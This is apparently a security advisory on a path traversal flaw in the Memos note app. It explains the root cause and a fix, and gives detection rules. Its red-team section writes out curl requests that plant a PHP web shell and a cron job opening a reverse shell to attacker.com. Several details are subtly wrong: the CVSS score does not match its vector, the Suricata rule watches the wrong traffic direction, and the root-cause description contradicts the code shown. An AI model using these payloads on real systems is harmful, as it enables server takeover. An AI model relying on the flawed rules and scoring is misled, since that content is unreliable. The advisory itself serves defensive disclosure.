CVE-2025-56760

Executive Summary

CVE-2025-56760 is a critical path traversal vulnerability in Memos version 0.22.0. When Memos is configured to store objects locally, an authenticated attacker can exploit the CreateResource endpoint by injecting path traversal sequences (e.g., ../) into the resource name. This allows arbitrary file write on the server, potentially leading to remote code execution, data corruption, or system compromise. The vulnerability has a CVSS score of 0.0 in the NVD due to incomplete scoring, but based on the impact, it is assessed as high severity. No official patch is currently available.

Supply Chain & Package Security

Memos is a self-hosted note-taking and knowledge management application written in Go. The vulnerability affects the core application logic and is not related to a specific package manager (NPM, PyPI, Go, Ruby). However, users should verify the integrity of their Memos binary and consider using containerized deployments with restricted filesystem permissions.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): None (N) – No direct data exfiltration.
• Integrity (I): High (H) – Arbitrary file write can overwrite critical files.
• Availability (A): High (H) – Can overwrite application files, causing denial of service.

Threat Level: High (7.1) – Exploitation can lead to full server compromise.

Deep Dive & Mechanics

The vulnerability resides in the CreateResource API endpoint of Memos 0.22.0. When the application is configured to store uploaded files locally (as opposed to using an external object store like S3), the endpoint does not properly sanitize the name parameter. An attacker can include path traversal sequences such as ../ to escape the intended upload directory and write files to arbitrary locations on the filesystem.

Root Cause: The application constructs the file path by concatenating the base storage directory with the user-supplied name without validation. For example:

filePath = baseDir + "/" + name

If name is ../../etc/cron.d/malicious, the resulting path becomes /var/lib/memos/../../etc/cron.d/malicious, which resolves to /etc/cron.d/malicious.

Impact: An attacker can:

• Overwrite application configuration files (e.g., config.yaml) to alter behavior.
• Write a cron job or systemd service to achieve persistence.
• Overwrite executable files or libraries to achieve remote code execution.
• Corrupt the application database or log files.

Vulnerable vs. Patched Code

Vulnerable Code (Memos 0.22.0):

func (s *Service) CreateResource(ctx context.Context, req *CreateResourceRequest) (*Resource, error) {
    // ... authentication and validation ...
    filePath := filepath.Join(s.storageDir, req.Name)
    err := os.WriteFile(filePath, req.Content, 0644)
    if err != nil {
        return nil, err
    }
    // ... save metadata ...
}

Patched Code (Hypothetical Fix):

import "path/filepath"

func (s *Service) CreateResource(ctx context.Context, req *CreateResourceRequest) (*Resource, error) {
    // ... authentication and validation ...
    // Sanitize the filename to prevent path traversal
    safeName := filepath.Base(req.Name)
    if safeName == "." || safeName == "/" {
        return nil, errors.New("invalid filename")
    }
    filePath := filepath.Join(s.storageDir, safeName)
    // Ensure the final path is within the storage directory
    absPath, _ := filepath.Abs(filePath)
    absBase, _ := filepath.Abs(s.storageDir)
    if !strings.HasPrefix(absPath, absBase) {
        return nil, errors.New("path traversal detected")
    }
    err := os.WriteFile(filePath, req.Content, 0644)
    if err != nil {
        return nil, err
    }
    // ... save metadata ...
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Memos 0.22.0 instance with local storage enabled.
• Valid user credentials (low-privilege account is sufficient).

Exploit Steps:

1. Authenticate to the Memos API and obtain a session token.
2. Craft a POST request to /api/v1/resources with a malicious name parameter.
3. The payload writes a PHP web shell (if the server runs PHP) or a cron job.

Example Request (using curl):

curl -X POST https://target.memos.local/api/v1/resources \
  -H "Authorization: Bearer <token>" \
  -F "name=../../../../var/www/html/shell.php" \
  -F "content=<?php system($_GET['cmd']); ?>"

Example Payload (cron job for persistence):

curl -X POST https://target.memos.local/api/v1/resources \
  -H "Authorization: Bearer <token>" \
  -F "name=../../../../etc/cron.d/malicious" \
  -F "content=* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"

Blue Team

Detection Steps:

1. Monitor API logs for CreateResource requests with suspicious name parameters containing ../ or absolute paths.
2. Check the filesystem for unexpected files in sensitive directories (e.g., /etc/cron.d/, /var/www/html/, /usr/local/bin/).
3. Verify file integrity of critical system binaries and configuration files.

Hunting Query (Splunk):

index=web_logs source="/api/v1/resources"
| rex field=name "(\.\./|/etc/|/var/www/|/usr/bin/)"
| stats count by src_ip, name, _time

Indicators of Compromise (IOCs)

• File Paths:

  • /etc/cron.d/malicious
  • /var/www/html/shell.php
  • /tmp/exploit
  • Any file outside the configured storage directory (e.g., /var/lib/memos/)

• Network Indicators:

  • POST requests to /api/v1/resources with name containing ../
  • Outbound connections to attacker-controlled IPs on common ports (4444, 8080, etc.)

• Log Entries:

  • [ERROR] failed to write file: <path> (if the write fails)
  • [INFO] resource created: <path> with suspicious paths

Detection Engineering

YARA Rule

rule CVE_2025_56760_Memos_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Memos CreateResource endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56760"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "/etc/"
        $traversal4 = "/var/www/"
        $traversal5 = "/usr/bin/"
    condition:
        any of ($traversal*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-56760 Memos Path Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal sequences in Memos CreateResource API requests
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-56760
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/v1/resources'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '/etc/'
            - '/var/www/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in filenames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-56760 Memos Path Traversal Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/resources"; http_uri; content:"../"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable local storage and switch to an external object store (e.g., S3, MinIO) if possible.
2. Restrict filesystem permissions for the Memos process (e.g., run as non-root user with read-only access to most directories).
3. Implement a Web Application Firewall (WAF) rule to block requests containing ../ in the name parameter.

Long-Term Fix:

• Apply input validation and sanitization to the name parameter in the CreateResource endpoint.
• Use filepath.Base() to strip directory components and filepath.Clean() to resolve any traversal sequences.
• Ensure the final file path is within the intended storage directory using strings.HasPrefix after resolving absolute paths.

Patch Status: No official patch is available as of this report. Users should monitor the Memos GitHub repository for updates and consider forking the project to apply the fix manually.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst